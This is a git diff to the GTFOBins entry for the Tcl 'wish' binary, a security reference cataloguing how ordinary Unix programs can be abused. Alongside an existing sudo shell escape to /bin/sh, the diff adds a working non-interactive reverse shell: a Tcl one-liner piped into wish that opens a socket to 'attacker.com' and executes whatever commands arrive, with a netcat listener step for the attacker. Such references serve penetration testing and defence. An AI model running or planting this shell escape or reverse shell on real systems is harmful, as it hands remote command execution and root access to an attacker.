diff --git a/_gtfobins/wish.md b/_gtfobins/wish.md index 44e08d5..12aedc0 100644 --- a/_gtfobins/wish.md +++ b/_gtfobins/wish.md @@ -8,4 +8,10 @@ functions: - code: | sudo wish exec /bin/sh <@stdin >@stdout 2>@stderr + reverse-shell-non-interactive: + - description: Run `nc -l -p 12345` on the attacker box to receive the shell. + code: | + export RHOST=attacker.com + export RPORT=12345 + echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | wish --- \ No newline at end of file